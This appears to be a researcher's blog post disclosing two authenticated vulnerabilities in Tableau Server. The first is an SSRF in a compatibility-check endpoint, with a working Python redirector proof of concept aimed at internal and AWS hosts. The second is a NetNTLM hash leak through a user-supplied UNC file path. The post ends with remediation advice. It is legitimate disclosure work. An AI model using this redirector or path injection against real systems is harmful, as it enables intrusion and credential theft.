Tableau Server - There Ain't No Vulns
Tableau Server - Governed self-service analytics at scale
Recently, I began a code audit on the software product Tableau Server which turned out to be prone to several vulnerabilities in its latest version. All attacks were conducted on a test trial environment against the Tableau Cloud during January 2024. The vulnerabilities found were only exploitable within an authenticated context and I rated them of medium severity. Due to the challenging system requirements, I was only able to show the first vulnerability (SSRF) against their live cloud environment based on Linux. But let the code speak for itself. I also stopped my code audit after my first submission, because you know: motivation issues. The Salesforce Security team spoke about lacking evidence, proof-of-concept exploitability and step-by-step descriptions. They only referred me to their submission guideslines, so I thought: let’s dump my original report on my blog instead.
Server-Side Request Forgery (SSRF)
An API call implemented in com.tableau.loom.rest.resources.VizportalApiResource
allows for a Server-Side Request Forgery (SSRF) attack. This endpoint could e.g. be reached at the web application deployed through flow-processor.war
. According to its MANIFEST.MF
descriptor file, the Start-Class
is defined as com.tableau.loom.rest.spring.LoomSpringApp
. The Spring annotation @ComponentScan
contains the namespace of the beforementioned class.
The URL prefix /flow-editor
can be found in floweditor.20233.23.1017.0948.json
, connecting the same with the flow-processor
microservice:
"microservices": {
"flow_editor": "${root}/floweditor/flow-processor.war"
},
"microserviceOptions": {
"flow_editor": {
"urlprefix": "flow-editor"
}
},
This API might be reachable through other microservices as well. I didn’t check for additional @ComponentScan
entries.
The vulnerable endpoint in VizportalApiResource
is therefore callable by sending a GET request to flow-editor/api/vizportalApi/checkCompatibility
. The method com.tableau.loom.rest.resources.VizportalApiResource#checkCompatibility
takes a request parameter named serverHost
.
Following the call hierarchy further is shown in the following listing.
com.tableau.loom.vizportal.VizportalAdaptor#getVizportalCompatibilityInfo
-> com.tableau.loom.vizportal.VizportalAdaptor#getVizportalCompatibilityInfo_aroundBody18
--> com.tableau.loom.vizportal.VizportalAdaptor#getVizportalDocumentVersion
---> com.tableau.loom.vizportal.VizportalAdaptor#getVizportalDocumentVersion_aroundBody16
----> com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#getVizportalDocumentVersion(java.lang.String)
The serverHost
variable is wrapped into a java.net.URI
object and passed to com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#getVizportalDocumentVersion(java.net.URI)
. The method com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiUrlBuilder#getServerAuthInfoRequestUrl
adds the path /auth
and the corresponding query parameter format=xml
to the URI. Again, following the call chain further
com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#getDocumentVersion
-> com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#issueGetRequestForUrlAndReadXmlResponse
--> com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#issueGetRequestForUrl
---> com.tableau.maestro.vizportal.HttpRequestor#get
finally uses the Jersey Client library to then request the resource. As indicated by the parametrization of the method com.tableau.maestro.vizportal.HttpRequestor#get
, a Map<String, Object> properties
variable is passed as well. This Map
is built via com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#constructBaseRequestProperties
and the property jersey.config.client.followRedirects
set to true
(which is enabled by default anyway!). This is a relevant setting from an exploitability point of view since the SSRF would otherwise be restricted to baseUrl
injection. Every forged request would have included the /auth?format=xml
path and query parameter which would have lowered the impact of this vulnerability class. Nevertheless, since redirects are automatically followed, another host controlled by the attacker could be leveraged to deliver arbitrary URLs for another Jersey client request (i.e. with full control of baseUrl
, path and query parameters).
A proof-of-concept exploitation in the Tableau Cloud (trial test account) is shown next.
The Python redirector script basically contains
import SimpleHTTPServer
import SocketServer
PORT = 8443
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://[TARGETED_HOST|LOCALHOST]/anypath/iwant?withquery=params')
self.end_headers()
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
Handler.do_GET = do_GET
httpd = SocketServer.TCPServer(("", PORT), Handler)
httpd.serve_forever()
This vulnerability could be abused in various ways, e.g.:
- Target other servers with the Tableau server as attacker source
- Target internal AWS APIs
- Target “trusted” API calls on Tableau server itself, supposedly originating from loopback or internal IP addresses belonging to the AWS VPC
NetNTLM Leaks
The method com.tableau.loom.lang.api.utils.LoomFileUtils#getDirectory
is reused in several places across the Tableau server code base. This includes externally reachable API calls such as com.tableau.loom.rest.desktop.resources.LoomDocValidationResource#validateLoomDoc
. Sending a POST request to the “Loom Doc Validation API” endpoint processes the following code.
@Operation(summary="validateLoomDoc", operationId="validateLoomDoc")
@RequestMapping(method={RequestMethod.POST})
@Instrumented(value="validateLoomDoc")
public LoomDocValidationResponse validateLoomDoc(@Parameter(description="docValidationRequest") @RequestBody LoomDocValidationRequest loomDocValidationRequest, HttpServletRequest request) throws LoomException {
if (loomDocValidationRequest != null) {
if (loomDocValidationRequest.getParameterOverrides() != null) {
loomDocValidationRequest.getLoomDoc().getParameters().setCurrentValues(loomDocValidationRequest.getParameterOverrides());
}
MaestroDocumentSanitizer.sanitize(loomDocValidationRequest.getLoomDoc());
}
DisplayProps displayProps = new DisplayProps();
String localFileName = loomDocValidationRequest.getFilePath();
if (StringUtils.isEmpty(localFileName)) {
localFileName = ".";
}
File loomDir = LoomFileUtils.getDirectory(localFileName); <--
...
The <--
marked line shows the call to com.tableau.loom.lang.api.utils.LoomFileUtils#getDirectory
. The variable localFileName
is directly user-controlled as part of the request body containing a com.tableau.loom.rest.api.loomDocValidation.LoomDocValidationRequest
object. com.tableau.loom.rest.api.loomDocValidation.LoomDocValidationRequest#getFilePath
simply reads the property filePath
without any further sanitization before getDirectory
gets called.
Unfortunately, the Tableau Cloud trial instance was based on the Linux operating system. This attack vector is only feasible on Windows instances. Here, an attacker could provide a network UNC path in the filePath
variable. If getDirectory
gets called, access to the network share is tried for, starting with an authentication handshake based on the NTLM protocol. NetNTLM hashes could be abused in e.g. “relay attacks”, often used by threat actors lately. See e.g. this blog post on techniques involved.
To be able to show exploitability, a proof-of-concept (PoC) Java program was written, basically copying the code of com.tableau.loom.lang.api.utils.LoomFileUtils#getDirectory
.
Recommendations
- To lower the risk of SSRF exploitation primitives, consult resources such as the OWASP Server-Side Request Forgery Prevention Cheat Sheet. In this specific case, enforcing the context path and (query) parameters would already reduce the attack’s applicability significantly.
- Check if meaningful restrictions to user-controlled file path parameters are applicable. Then implement an allow list approach with e.g. regular expressions to check the rules accordingly. Make sure that always the absolute path is calculated first before further decision-making.